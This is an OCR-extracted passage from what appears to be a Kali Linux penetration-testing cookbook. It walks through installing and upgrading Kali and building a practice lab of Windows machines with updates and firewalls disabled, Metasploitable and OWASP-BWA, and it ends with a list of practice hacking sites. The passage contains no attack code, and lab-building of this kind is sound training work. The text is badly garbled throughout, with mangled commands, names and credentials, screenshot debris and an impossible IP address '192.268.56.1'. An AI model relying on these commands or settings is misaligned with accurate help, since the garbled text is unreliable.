SCSI1 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK

| Screenshot |

Go Back ‘ Continue ‘
e

Qeo&Ee 0@ l}Q[E Lefts

Partition disks

Please note that as you are inside a virtual machine when it references,
your disk will be erased; it is only talking about the virtual partition and
not your disk. If you have decided to load this on your PC as the native
operating system, it will erase the entire drive.

22. Select All files in one partition (recommended for new users) and click on
Continue:
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Kali Linux [Running]

Partition disks

Selected for partitioning:

SCSI1 (0,0,0) (sda) - ATA VBOX HARDDISK: 26.8 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.

Partitioning scheme:

All files in one partition (recommended for new users)
Separate /home partition

Separate /home, /var, and /tmp partitions

| Screenshot

Go Back ‘], Continue ‘

B O & &™) Left 38

Partition disks - screen 2

23. Select Finish partitioning and write changes to disk. Click on Continue:
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Kali Linux [Running]

Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings
(file system, mount point, etc.), a free space to create partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager

Configure encrypted volumes

Configure iSCSI volumes

+ SCSI1(0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK
> #1 primary 22.5GB f extd !

> #5 logical 4.3GB f swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

| Screenshot | | Help Go Back | | Continue ‘

B E&E M (T Left 3

Partition disks - screen 3

24. Click on Yes to write changes to disk. Click on Continue:
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25.

26.

217.
28.

Kali Linux [Running]

Partition disks

further changes manually.

The partition tables of the following devices are changed:
SCSI1 (0,0,0) (sda)

The following partitions are going to be formatted:

partition #1 of SCSI1 (0,0,0) (sda) as ext4
partition #5 of SCSI1 (0,0,0) (sda) as swap

Write the changes to disks?
O No

Screenshot

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make

BO8s

X

| Continue ‘

i (2 Left 3

Partition disks - screen 4

Your system will begin installing further. This process will take several

minutes, so please be patient.

Upon the completion of the install, you will be asked whether you want to use a
Network Mirror for your package manager. Select Yes and click on Continue.

You will be asked to enter a proxy server if needed. Please enter any required
information (for most installs, you will leave this blank). Click on Continue. Kali

will continue to install packages.

Select Yes to install the GRUB boot loader and click on Continue.

Select the single drive listed to highlight it, and then click on Continue. This will

finish the installation:
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Kali Linux [Running]

Install the GRUB boot loader on a hard disk

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable
device. The usual way to do this is to install GRUB on the master boot record of your first hard drive. If
you prefer, you can install GRUB elsewhere on the drive, or to another drive, or even to a floppy.

Device for boot loader installation:

Enter device manually

/dev/sda (ata-VBOX_HARDDISK VB 47ad1fe7-1565341_2)

[ screenshot |

| GoBack | Continue ‘

B & & o ™k ) Left 38

Install GRUB boot loader

29. After a short time, you will be brought back to the Finish the Installation screen.
This will ask to boot your computer to ensure that you have removed the
installation media. Under most circumstances, VirtualBox or other hypervisors will

honor the disk eject command issued when Kali finishes installation, but we need
to be sure. At this point in time, do nothing:
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Kali Linux [Running]

| Finish the installation

Installation complete
ﬁ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media, so that you boot into the new system rather than restarting the installation.

Screenshot Go Back ‘ Continug |

2 oy o i {0 (B () Left 38

Kali Linux: finish the installation

30. Move the installation windows to the side to expose the main VirtualBox manager
screen. Click on to highlight the Kali Linux VM. Click on Settings, and next click
on Storage. If under Controller: IDE, you do not see Empty, click on the install
media shown to highlight it. Click on the icon at the far right that looks like a disk,
and select Remove Disk from Virtual Drive. Click on OK:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Oracle VM VirtualBox Manager
[ ] Kali Linux - Storage

M i
4k — _ -
- EHE= Q v @ =
New ¢ [N i Q 4 Eg u E
|
o i g General System Display Storage Audio Network Ports Shared Folders User Interface
@ Attributes

Storage Tree

< Controller: IDE & gl Name: IDE
© Empty Type:  PlIX4 =
4 Controller: SATA e —

& Kali Linux.vdi

Cancel | L

[

L e |

VirtualBox manager

31. Go back to the Kali Installation screen, and now click on Continue. It will finish a
couple items up, and reboot the virtual machine bringing you to the login screen:
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Kali Linux [Running]

i Finish the installation

Installation complete
Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media, so that you boot into the new system rather than restarting the installation.

“Screenshot Go Back ‘ Continug ‘

B @ & o =g {0 (] Left 38

Kali Linux finish the installation

Remember that when logging into the system, your username is root and the
password that you created during installation.
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Using Kali Linux from bootable media

As you will see in the pages that follow, there are a tremendous number of uses for Kali
Linux, and for these uses, it is not always practical to dedicate a device to one
particular use case, as this would be a tremendous waste of resources. To address this,
you can use the Kali Linux installation ISO downloaded in the previous section as a live
CD as well; or you can maintain persistence with a live USB drive with persistence
(with or without Linux Unified Key Setup encryption).

We will show you how to create the Live USB (no persistence, no history maintained).

Additional options such as live USB with persistence, live USB with encrypted
persistence, and custom rolled Kali Linux ISO (which can be incorporated into the
bootable USB options) can be found on the Kali Linux documentation wiki at httpz/docs.kali
.org under the section called 02. Kali Linux Live.

www.hellodigi.ir


http://docs.kali.org
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Getting ready

In order to be able to complete this section successfully, you will need the following:

e USB Drive (8 GB or larger)
e USB disk imager (Win32DiskImager)
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How to do it...

Let's begin the process of creating a bootable Kali Linux USB device:

1. Starting with the Kali Linux ISO file we downloaded in the earlier recipe,
installing VirtualBox, we will use Win32DiskImager (https:/sourceforge.net/projects/win32d
iskimager/) to create a bootable USB using the ISO. Download and install
Win32Disklmager.

2. Once installed, launch Win32DiskImager.

In order to format the USB drive and to write the raw image,
Win32Disklmager needs admin permissions to run. You will need to give
permission for it to run when the user access control dialog is presented.

3. Win32Disklmager will use IMG files, but we will tell it to use an ISO file as the
source. From the application screen, click on the File Open button, and when
presented with the File Open box, change the file filter to *.* in the lower right,
and navigate to the Kali Linux ISO file.

4. Select the drive letter of your USB device, and click on Write:

%2 Win32 Disk Imager = a >
Image File Device
|C:,,"annloads,‘kali-Iinux—ZD‘l?. 14386.is0 | Fy -
Copy| [ MDS5 Hash:
Progress
Version: 0.9.5 Cancel Read Write Exit
FW32 Disklmager example

5. Once the image has been written to the USB drive, you will be able to boot from
this device on machines that support the USB bootable media. In this configuration,
you now have a bootable USB drive that will from which the Kali Linux operating
system will boot, as if it were installed onto the local disk. Across reboots, you
will lose any documents you may have created. If you choose it, you can create an
additional partition on the USB drive that will be persistent, and keep files and
documents you may wish to keep. The step-by-step instructions on how to extend
this functionality can be found on the Kali Linux documentation wiki at http/docs.kali.o
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rg under 02. Kali Linux Live.
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Upgrading Kali Linux

Now that we have a base install of Kali, let's run through any updates and upgrades
required. This is something you want to do periodically with the system, to make sure
you are using the most up-to-date information.
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Getting ready

Before you start, ensure the following prerequisites:

e Your computer is connected to the internet
e Your installation of Kali is running
e Youare logged in as root
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How to do it...

To bring an existing Kali Linux installation up to date, you will do the following:

1. From the main Kali desktop, let's click on the terminal icon in the upper-left part of
the screen:

Kali Linux desktop

Since we are already logged in as the root, we will not require any
0 elevation of privileges using the su or suso commands.

2. From the Command Prompt, type this:

| apt-get update
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root@kali: ~ e e 0

File Edit View Search Terminal Help

root@kali:~# apt-get update

Get:1 http://archive-9.kali.org/kali kali-rolling InRelease [30.5 kB]

Get:2 http://archive-9.kali.org/kali kali-rolling/main amd64 Packages [15.1 MB]
Get:3 http://archive-9.kali.org/kali kali-rolling/non-free amd64 Packages [164 k
B]

Get:4 http://archive-9.kali.org/kali kali-rolling/contrib amd64 Packages [165 kB
]

Fetched 15.4 MB in 7s (1,964 kB/s)
Reading package lists... Done
root@kali:-#

Kali Linux Command Prompt

After the initial installation, this process could take several minutes to
complete.

3. Once complete, we will actually upgrade the system by entering the following at
the Command Prompt:

| apt-get upgrade

rooti@kali: -

File Edit View Search Terminal Help
roct@kali:-# apt-get upgrade

Kali Linux Command Prompt

4. After a minute or two, you will get a screen explaining what will be upgraded and
what needs to be installed for the upgrades to occur. When ready to continue, type
v and press Enter:

124 upgraded, 0 newly installed, 0 to remove and 217 not upgraded.
Need to get 470 MB of archives.
After this operation, 131 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Kali linux Command Prompt

This process will take quite some time to complete, so please be patient
as your system upgrades.

5. Once complete, we will reboot the system to ensure we have a fresh running
environment. To continue, type this:

| shutdown -r now
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rooti@kali; -

File Edst View Search Terminal Help
root@kali:-# shutdown -r now

Kali Linux Command Prompt
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There's more..

During the upgrade, you may get prompted for a couple of items such as following;
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apt-listchanges: news section

You may get paused at an apt-listchanges: news section, and you will be presented with
a : sign at the bottom; you can use your arrow keys to read the notice, and then just press
q to quit and continue.
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The configuring macchanger

You can set up the system to change the mac automatically per boot. For our testing
purposes, it's not required; however, if you are doing this in a live environment, you
may want to configure it. Select No:

I Configuring macchanger |

Please specify whether macchanger should be set up to run automatically
every time a network device is brought up or down. This gives a new MAC
address whenever you attach an ethernet cable or reenable wifi.

Change MAC automatically?

<Yes>

Configuring macchanger dialog box
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The service restart

You maybe asked to restart services automatically to ease upgrades; select Yes:

| Configuring libc6:amd64 |

There are services installed on your system which need to be restarted
when certain libraries, such as libpam, libc, and libssl, are upgraded.
Since these restarts may cause interruptions of service for the system,
you will normally be prompted on each upgrade for the list of services
you wish to restart. You can choose this option to avoid being
prompted; instead, all necessary restarts will be done for you
automatically so you can avoid being asked questions on each library
upgrade.

Restart services during package upgrades without asking?

<Yes>| <No>
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Understanding the advanced
customization and optimization of Kali

Now that we have our Kali Linux virtual machine installed and updated, let's do a bit of
customization.
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Getting ready

Before you start, ensure the following prerequisites:

e Your computer is connected to the internet
e Your installation of Kali is running
e Youare logged in as root
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How to do it...

There are several customization and advanced settings that we can perform.
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Upgrading the Linux kernel

To update the Linux kernel, you will do the following:

1. Open a terminal window by selecting its icon on the left tool bar, and enter the
following;

| apt-get dist-upgrade

2. Follow the prompts to complete the installation, and reboot the virtual machine
when complete.
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Removing unneeded packages

To remove unneeded packages, we will do the following:

1. Open a terminal window by selecting its icon on the left tool bar, and enter the
following;

apt autoremove
exit
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Adjusting or disabling the screen lock

During the use of this book, you may find yourself leaving your system to run commands
or in between sections. During this time, the screen may lock and force you to login in
more frequently than you would prefer. To change this behavior, do the following:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer. In the
lower left-hand corner of that box, click on the settings icon:

Applications =

oSy MBS E Lens

System status box

2. From the All Settings screen, click on the purple privacy icon in the first row to
display the privacy dialog box, then select the Screen Lock entry:
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< Privacy
Screen Lock On
Location Services Off
Usage & History On
Purge Trash & Temporary Files Off
Privacy box

3. Adjust the settings as desired; in the following example I have set the timer to 1
hour:

Screen Lock [x]

Automatic Screen Lock —
Lock screen after blank for 1 hour -

Show Motifications —i

Screen Lock

4. Finish by clicking on the Xs at the top until you are back at the main screen.
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Correcting the Ethernet interface
configuration

Since only one interface can be on at a time, we will set up networking as follows:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer. In the
lower left-hand corner of that box, click on the settings icon:

FEEF L I IO

System status box

2. Next to one of the interfaces, select the arrow icon, which will expose another
level of menus. Click on Wired Settings:
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" Ethernet (eth1} Conn

* Ethernet (eth0} Off

System status box

3. Select Add Profile from the bottom:

£ Network (- > ]

| @ | Ethernet (eth0)

Ethernet (ethl]
al Sk 2= 1000Mbis

Hardware Address 08:00:27:1E:1A:F1
@2 Network proxy Last used today

E = Add Profile... | | %

Network window

4. Fromthe New Profile window, select Identity on the left; and for Name, enter sost-

Only Network.

New Profile []
Security
- Name | Host-Only Network[
7 MAC Address -
IPv6

Cloned Address

MTU | automatic S

[/] Connect automatically

[]Make available to other users

Cancel Add
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New Profile window

5. Inthe left column, click on IPv4 and scroll all the way to the bottom and put a
check in the box labeled Use this connection only for resources on its network, and
then click on Add:

New Profile [<]
Security
Identity Server o
IPv4
IPv6 i
Routes Automatic —(

Address

Netmask

=]}

Gateway

Metric

[“Use this connection only for resources on its network

Cancel Add

New Profile window

6. Assign ethl to the host-only network that we just created by clicking on ethl to
highlight it. Click on host-only network. Verify that ethO is assigned to the wired
connection network by clicking on ethl. You should now be able to have both
interfaces enabled simultaneously:

< Network I ]

Ethernet (ethl) %
Ethernet (ethl => —%
#* Ethernet (eth0)

@2 Network proxy Wired connection 1 o |

Host-Only Network {3‘

IPv4 Address 192.168.56.101
|Pv6 Address fe80::cb64:1f9¢:9416:7b4b
Hardware Address 08:00:27:24:D5:89

DNS

+ | Add Profile...

Network window
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Connecting and disconnecting Ethernet
interfaces

Kali Linux makes it easy to manage network connections using network manager. This is
how you will connect and disconnect network interfaces:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer:

Applications « Places =

oy mED@sLeis

System status box

2. You will see entries for both your ethO and ethl interfaces. If you have followed
our guide, the ethO network is connected to the NAT network and allows access to
the internet and networks outside of your virtual machine. The ethl interface is the
host-only network, which connects to your test machine. You can toggle these on
and off as required.
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Installing Windows machines

Creating a lab environment where we can safely perform security testing is key to being
able to develop a repeatable set of skills. In this section, we will cover the installation
and configuration of Windows desktop machines, as well as an active directory server.

As the Microsoft Windows operating system is the most commonly employed operating
system, we will be looking to test the windows platform with Kali Linux in our lab.
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Getting ready

To complete this section, you will need the following:

1. Installation media for Windows 7 and Windows server 2008. Due to licensing
restrictions, we are unable to provide installation media for Microsoft software
products.

These versions are preferable as they are old enough to have well-
documented vulnerabilities and low resource requirements. Since
Windows 7 for desktops and Windows server 2008 are most commonly
seen as of the time of the writing of this book, we recommend these be
used for your test lab, and will be used as examples in this book.

2. A virtual machine platform such as VirtualBox which we configured in previous
steps.

3. Starting from your VirtualBox interface, select the New button from the upper-left
corner to create a new virtual host for Windows to be installed into. You will need
to use a system template that matches the version of Windows you are going to be
installing;

Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install an
it. The name you choose will be used throughout VirtualBox to
identify this machine.

MName: |Windows 7 Desktop| |

Type:  Microsoft Windows ¥

Version: |Windows 7 (64-bit) X

Expert Mode Cancel

Create new virtual machine
4. Since this machine will be for testing only, assignit 1 or 2 gigabytes of memory,
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10.

and use the default values for all of the remaining options by clicking on Next until
you reach the end of the configuration section.

. Once the initial virtual host has been configured, you will need to go back into the

settings to tell the virtual host to boot from the installation media. Right-click on
the virtual system that you just created and go to settings. Once in the settings
dialog window, select Storage from the menu on the left, highlight the topmost
controller device, click on the Add Storage Attachment button, and select Add
Optical Drive.

. From the next dialog box, select Use Existing when asked whether you would like

to leave the storage option empty. When prompted, navigate to your Windows
installation media, and click on Open; then complete the configuration session by

clicking on OK.
Start your new virtual machine by clicking on the parentheses start button.

. From this point, you will follow the default operating system installation process

specific to the version of Windows you have selected. When given the option of
installing additional services, use only the default options selected.

. During installation, we will name our systems something easy to remember. We

will name the desktop clients windows pesktop 1 and windows pesktop 2, and the server ap
Server.

When prompted to configure the Windows update services, ensure that you do not
enable the automatic installation of Windows updates:
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@ ¢4 SetUp Windows

Help protect your computer and improve Windows automatically

P Use recommended settings
\ Install important and reccmmended updates, help make Internet brewsing safer, check

cnline for selutions te problems, and help Microsoft improve Windows,

u,__'@j Install important updates only

Only install security updates and other impertant updates for Windows,

le Ask me later
A Until yeu decide, your computer might ke vulnerable to security threats,

Learn more about each opticn

When you use recommended settings er install updates only, some information is sent to
Micraseft, The informaticn is not used to identify you or contact you, To turn off these settings
later, search for 'Turn off recommended setting' in Help and Support. Read the privacy statement

De-selection of automatic Windows updates

On certain platforms, you may select the option to download but not install
updates if you so choose. This will allow you to evaluate the security of
the system, both prior to and after the installation of Windows updates.
You maybe asked to create a password for the administrative user. If this
1s the case, then create a user and password that will be easy to remember
and refer to in future chapters.

11. Once you have completed the installation of Windows 7, reboot the machine, and
login when presented with the login screen.

12. Once logged in, change the machine name to win7_pesktop_1, and reboot.

13. Go into the virtual host settings, and ensure that the network adapter is assigned to
the host-only network that we created earlier in this section.

14. Now that the machine has been properly configured, we will clone it to create a
second instance of Windows 7 desktop.

Cloning of machines makes it very easy to create a gold image and
working copies from this image. It is different than snapshots, which
create point-in-time references that can be rolled back to if need be.

15. To create a clone of the Windows desktop machine, you will need to power it up
using the Start option. Once started, do not log into the machine; but rather from the
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desktop view, from the top menu bar, select Machine | Take Snapshot... to start the
snapshot creation process:

551 Windows 7 Desktop 1 [Running] - Cracle YM VirtualBox

File = Machine View Input Devices Help

Settings...

Take Snapshot...

Session Information...

Pause
Reset
ACP| Shutdown

Create snapshot

16. In the next screen, you will be given the opportunity to name and provide details
about the purpose of this snapshot. Since it is likely that we will be returning to
this state frequently, name it tnitial 1nstailation, and in the description, indicate that
this is a clean Windows build, and that the snapshot was taken before AD domain
membership:

E{ﬂ Take Snapshot of Virtual Machine ? *

Vs Snapshot Name
W |Inih'a| Installation

Snapshot Description

- Installation of Windows machine
- Mo domain membership

- No added services

- Mo patches installed

Cancel Help

Creating a VirtualBox snapshot

17. VirtualBox will now generate a snapshot. Depending on the system, this may take
several minutes. Once complete, power down the system using the power buttons
on the lower-right part of the login screen — do not login at this time.

18. Now that the initial host has been set up, we will need to create the clone of this
device. To do so, right-click on Windows 7 Desktop 1, and select Clone... from the
dropdown menu:
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19.

20.

21.

22.
23.
24.
25.

26.

= o
Settings... Ctri+S |
Clone... Ctrl+O
Remove... Ctrl+R

Group Ctrl+U

S BROE

Start r

Start cloning process

When prompted, name this windows pesktop 2, and select the option to reinitialize the
MAC address of all available cards. Click on Next.

When given the option to do so, select Full Clone as the clone type, and click on
Next.

Since we will be creating a new snapshot of this system in a subsequent step,
choose the option for Current Machine State as the options for snapshots, and click
on Next. This will start the cloning process, which may take several minutes.

Once completed, we will start this host as well as we did with the first Windows 7
Desktop 1, but this time, we will log in when prompted to do so.

Once logged in, you will need to change the name of the machine to win7 pesktop 2.
Allow the machine to reboot.

Once back at the login screen, create a snapshot as we described earlier.

We will now install the Windows 2008 server in the same manner we did the
Windows 7 desktops, ensuring that the device is assigned to the host-only network
that we created in a previous section.

With all the default options chosen, install Windows 2008, and log in for the first
time. The first time you log in, you will be presented with the Initial Configuration
Tasks tool. From this tool, configure only the following:

Set time zone Set to your timezone

Configure networking Subnet Mask: 255.255.255.0

Set the IP information as follows:
IP Address: 192.168.56.10

Gateway: 192.168.56.1
DNS Server: 192.268.56.1
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Computer name: ap-server

Computer name and domain
Leave set to workgroup for now

Initial Windows server configuration:

27. Reboot the server after these options are set, and log in. The Initial Configuration
Tasks wizard will open again. Scroll down to the section named Add Roles; here
we will add the DNS and DHCP roles to this server.

28. Select all the default options, except the following:

Page Option Setting
Spe@fy IPv4 DNS Server Parent Domain kalicookbook.local
Settings
é%ikogf%%glcp Scopes Scope Name Lab
Starting [P Address 192.168.56.100
Ending IP Address 192.168.56.150
Default Gateway 192.168.56.1
Configure IPv8 Stateless Select the DHCPv6 Disable DHCPV6 stateless mode
Mode Stateless Mode... for this server

Initial role configuration
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29.

30.

31.

32.

Once all the preceding has been completed, reboot the server, and log into each of
the desktops to make sure that they get an IP address from the AD server and that
you can ping each host by their IP addresses. We will configure DNS in a later
step.
After you have confirmed that network connectivity between your hosts 1s working
properly, close all open windows, and create a snapshot as we have done in the
past.
With the desktop machines created and functioning, you will need to enable basic
services on the AD server. After logging into the server, you will be presented
with the Initial Configuration Tasks wizard again. Once presented, scroll down to
Customize this Server section, and click on Add Role.
In the section called Select Server Roles, select and install the following:

e File services

e Remote desktop services

e Web server (IIS)

0 If you are prompted to include dependencies, accept, and continue.

33.

As you progress, you will need to select certain options for each of the roles added
previously:
1. Remote desktop services:
e Select only Remote Desktop Session Host and click on Next
e Select Do Note Require Network Level Authentication
e Select Configure Later to defer the licensing of the remote desktop until a
later date (120 days max)
e Permitted user groups: Leave administrators in place and continue
2. Leave all the remaining options as the default and continue. Reboot when
prompted to do so, and log in once more; you will automatically return to the
Add Roles wizard. Confirm that the installation was successful.

34. Return to the Add Role wizard, and select this time to install Active Directory

35.

Domain Services. Click on Install AD DS Anyway (not recommended) when
presented with the dialog box confirming installation on a domain controller, and
accept any dependencies that maybe required. Continue through the installation
process with the remaining default options. When complete, select Close.

In the left menu, select Active Directory Domain Services; and in the right pane,
select Run the Active Directory Domain Services Installation Wizard
(depromo.exe). As you go through the wizard, select the default options, except for
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36.

37.

38.

the following:

e Choose a deployment configuration: Create new domain in a new forest

e FQDN of the forest root domain: xa1icookbook.local

e Forest functional model: Windows server 2008 R2

e Once prompted, reboot. Confirm there are no errors
You will now need to log into each of the Windows 7 desktops and join them to the
kalicookbook.local domin.
Log into each machine and ensure that Windows updates are disabled. Make sure
the Windows firewall is also disabled.
Create snapshots of each to give us a foundation to work from as we progress
through this book. Snapshots will allow us to go back to pre-determined points in
time.
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Installing Metasploitable

Metasploitable is a key component of our testing environment. It is based on the Ubuntu
Linux operating system and is made specifically exploitable for penetration testing
purposes. This VM should never be exposed directly to the internet, and, for our
purposes, we will use the host-only network to bind to.
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Getting ready

Before you start, ensure the following prerequisites:

The VirtualBox hypervisor is running

The Kali Linux VM is shut down

You download the Metasploitable image from https://sourceforge.net/projects/metasploitable/file
s/Metasploitable2/

Take note that the default username, and the password is nsfaanin for both
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How to do it...

The installation of Metasploitable is done in the following manner:

1.

Al

Start by unzipping the Metasploitable ZIP (at the time of publication this was
metasploitable-linux-2.0.0.zip) fll€ that you previously downloaded.

Change the directory name that was extracted to metaspioitabie.

Find where your main VirtualBox storage is.

Windows default: c:\users\<username>\virtuaisox wis

Mac default: /jusers/<username>/virtualBox vis

installed earlier.

8 You should see a directory under the main path for the Kali Linux VM you

. In this directory, create a new folder called virtua1 pisxs. This will make the

following path:

...\VirtualBox VMs\Virtual Disks.

. Move the netaspioitanie directory that was created when you unzipped the file

earlier under the \virtua1 pisxs\ directory you created.

. Open the VirtualBox manager application, and select New from the top-left corner.

To quicken the installation if we are not in expert mode, let's select it by clicking
on Expert Mode at the bottom.

You will know you are in Expert Mode if you see an option for Guided
Mode at the bottom.
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Name and operating system
Name: Metasploitable
Type:  Linux [T

Version: Linux 2.6 [ 3.x f 4.x (B4-bit) [ <]

Memory size

4 MB 16384 MB
Hard disk

Do not add a virtual hard disk
Create a virtual hard disk now
) Use an existing virtual hard disk file

Metasploitable. vmdk {(Normal, 8.00 GB) | < P

Guided Mode Go Back | Create | Cancel

9. Let's name our VM retaspioitanie. Select Type as Linux and Version as Linux 2.6 /
3.x/ 4.x (64-bit), enter 2045 for the memory size.

10. Select Use an existing virtual hard disk file, and click on the file icon on the right;
and browse for the metaspioitanie.vmax file under the directory from the prior step;
then click on Create.

11. We will now be brought back to the main VM VirtualBox manager screen. Click on
the metaspioitanie VM to highlight it, and then click on Settings.

12. Click on Network and, for Adapter 1, select the Host-only Adapter and the Name
as vboxnetO; lastly, click on OK:

Metasploitable - Network

General Systern Display Storage Audio Network Ports Shared Folders User Interface

LieluCel Adapter 2 Adapter 3 Adapter 4

I Enable Network Adapter
Attached to: = Host-only Adapter | <]

Name: = vboxnetQ | <]

= Advanced

Cancel h’%.'_

Metasploitable - network dialog

13. You will now be brought back to the main VirtualBox manager screen. Click on
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Metasplotable to highlight it and click on Start.
14. Once the VM is started, you will be brought to the main login screen:

Metaspleitable [Running]

Ling Toncat servlet
iy web seruver ay

utﬁut to
utput to °

arning: Never expose this UM to an untrusted networkt
Contact: nsfdevlatlImetasploit.com

Login with msfadminsnsfadmnin to get started

etasploitable login: _
L B ¢ ) e (T 53 (2] Left 38

Metasploitable main login screen

To shut down this VM, you have to log in and issue the command, sudo
snutdown -h now. Although the VM itself shuts down, it will not end the
Virtual Box session. You must select the Red X at the top of the screen.
This will provide a dialog box; select the radio button Power off the
machine and click on Ok.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Installing OWASP-BWA

The Open Web Application Security Project (OWASP), is a global community that
focuses on security awareness and the development of secure applications. While this
may be thought of as a single application or platform, OWASP is actually a collection of
projects that can focus on any number of aspects of applications security. For this
recipe, we will focus on the OWASP Broken Web Application (BWA) project to
provide us with a standardized platform for the testing of our tools in later chapters.
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Getting ready

To install the OWASP-BWA image, we will need to do the following:

e Download the latest version of OWASP-BWA in compressed form from https:/sourcef

orge.net/projects/owaspbwa/

e Have VirtualBox installed and configured
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How to do it...

To install OWASP-BWA into our VirtualBox environment, we will do the following:

1. Unzip the ZIP file containing the OWASP-BWA files into a location you will
reference in the next few steps.

2. From the console of VirtualBox, on the upper left, we will select the New icon to
begin the creation of a new virtual machine.

3. We will name our new virtual machine owase-swa, and define 1t as a 64 bit Ubuntu
Linux system:

Create Yirtual Machine

Name and operating system

Flease choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install on
it. The name you choose will be used throughout VirtualBox to
identify this machine.

Name: |owasP-Bwa| |
o (6],

Type: |Linux

Version: | Ubuntu {54-bit)

Creating a virtual machine for OWASP-BWA

4. Leave the default memory allocation as 1024 MB, and click Next.

. You will now select Use existing virtual hard disk and navigate to the directory
where you unpacked OWASP-BWA. From that directory, select the following and
click Create:

N

Marme - Type Size
Q OWASP Broken Web Apps-cll.vmdk Virtual Machine Disk Format
'a OWASP Broken Web Apps-cl1-s001.emdk  Virtual Machine Disk Format
& OWASP Broken Web Apps-cl1-s002.wmdk  Virtual Machine Disk Format
& OWASP Broken Web Apps-cl1-s003.wmdk  Virtual Machine Disk Format
& OWASP Broken Web Apps-cl1-s004.vmdk  Virtual Machine Disk Format
& OWASP Broken Web Apps-cl1-s005.wmdk  Virtual Machine Disk Format

Selection of OWASP-BWA virtual disk
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6. Once you have created the virtual machine, we will need to make sure that the
correct network interface has been designated. Right-click on on our new host on
the left, and select Settings. Navigate to Network and ensure that the Adapter 1 is
attached to the Host-only Adapter, and that the other adapters are not enabled:

23 OWASP-BWA - Settings ? *

General Network

System Adapter 1 Adapter 2 Adapter 3 Adapter 4

Display Enable Netwark Adapter
@ Storage Attached to: |Host-only Adapter ~

; MName: | VirtualBox Host-Only Ethernet Adapter #2 x:
1} Audio

@ Metwork

B Advanced

|j Shared Folders

E User Interface

Conce

Designating the network adapter for OWASP-BWA in VirtualBox

7. Once complete, start the new virtual machine and ensure that it boots properly.

time since last run. You can allow this to complete to ensure there is no

0 It is very likely that fsck will run when first started due to the length of
observed disk corruption - it only takes a few minutes.

8. Once fully booted, login as root with the password owaspowa.
9. Ensure that you are receiving an [P address from DHCP by issuing i fconfig etno
from the command line.

10. Open a web browser, and navigate it to the [P address of the OWASP-BWA guest.
Ensure that you are able to see the different projects within OWASP-BWA. If you
are able to see the following web page, you have successfully configured OWASP-
BWA:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

owaspbwa OWASP Broken Web Applications - Mozilla Firefox e 6

j;.l @ owaspbwa OWASP Br.. x ."'u\-l-

| € ) ()| 192.168.56.100 ¢ ||Q search | % & ¥ »

owaspbwa

OWASP Broken Web Applications Project

o

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications
project. It contains many, very vulnerable web applications, which are listed below. More
information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see hitps://sourceforge.net
[plowaspbwa/tickets/?limit=999&sort=_severitv+asc.

- 111 This VM has many serious security issues. We strongly recommend
@ that you run it only on the "host only" or "NAT" network in the virtual
machine settings !!!

TRAINING APPLICATIONS

©0OWASP WebGoat ©OWASP WebGoat.NET

©0OWASP ESAPI Java SwingSet Interactive € OWASP Mutillidae II

E)OWASP RailsGoat € OWASP Bricks 8
@OWASP Security Shepherd @Ghost
@Magica] Code Injection Rainbow @pwapp

& Damn Vulnerzable Web iﬁlication

Confirmation of services running on OWASP-BWA
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Understanding hack me and other online

resources

There are several other resources that can be accessed either online or installed
in VirtualBox that you can use to hone your penetration testing skills. The following list
contains few resources you may want to explore as a supplement to the exercises in this

book:

hack.me

Easy to advanced
challenges

https://hack.me/

Hack this site

Easy to advanced
challenges

https://www.hackthissite.org/

Easy to advanced

Vulnerable by design challenges https//www.vulnhub.com/

Bee-Box Vulnerable web sites ?ttps ://sourceforge.net/projects/bwapp/files/bee-box

Moth ;;llil;liz?folflsweb http://www.bonsai-sec.com/en/research/moth.php

RasPwn Xlllal’lézrable Raspberry Pi http://raspwn.org/

OWASP-BWA OWASP broken web https ://wwva.ov.vasp.org/'indexphp/ OWASP_Broken
apphcatl()n Web_Applications_Project

Hackfest 2016 Sedna

Medium difficulty - root
access
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Hackfest 2016 Quaoar

Easy machine to own

https://www.vulnhub.com/entry/hackfest2016-quaoa
1,180/

Pentester Lab: XSS and
MySQL File

Easy SQL injection
example

https://www.vulnhub.comv/entry/pentester-lab-xss-an
d-mysql-file,66/

SQLInjection to Shell

Intermediate - SQL
injection to shell

https://www.vulnhub.com/entry/pentester-lab-from-s
ql-injection-to-shell-ii,69/

Damn vulnerable web
application

Vulnerable -
PHP/MySQL
application

https://github.com/Hackademic/hackademic

Hackxor

Webapp hacking game

http://hackxor.sourceforge.net/cgi-bin/index.pl

WebGoat

Medium level challenge

https://www.owasp.org/index.php/Category:OWASP
_WebGoat_Project
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There's more...

The preceding resources will be installed on a variety of different methods that are
beyond the scope of this book. But I will quickly mention some of the deployment
options:

e Virtual machines that, can be installed in VirtualBox

e Scripts that can be run on standard Linux machines to build applications and make
them specifically vulnerable to attacks

e Resources that you may attack over the internet

e Complete self contained hacking environments

Please ensure that as you are working with these sites, you read carefully
the terms of service and understand all requirements and limitations of the
environment or tools you are working with. Also be careful if you are

8 remotely hacking sites across the internet. Although there are some of
these options available for testing and it may be perfectly legal to do so,
your Internet Service Provider (ISP) may flag the activity as malicious
and take action against you.
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Reconnaissance and Scanning

In this chapter, we will cover the following topics:

Using KeepNote to organize our data
Getting up and running with Maltego CE
Gathering domain information
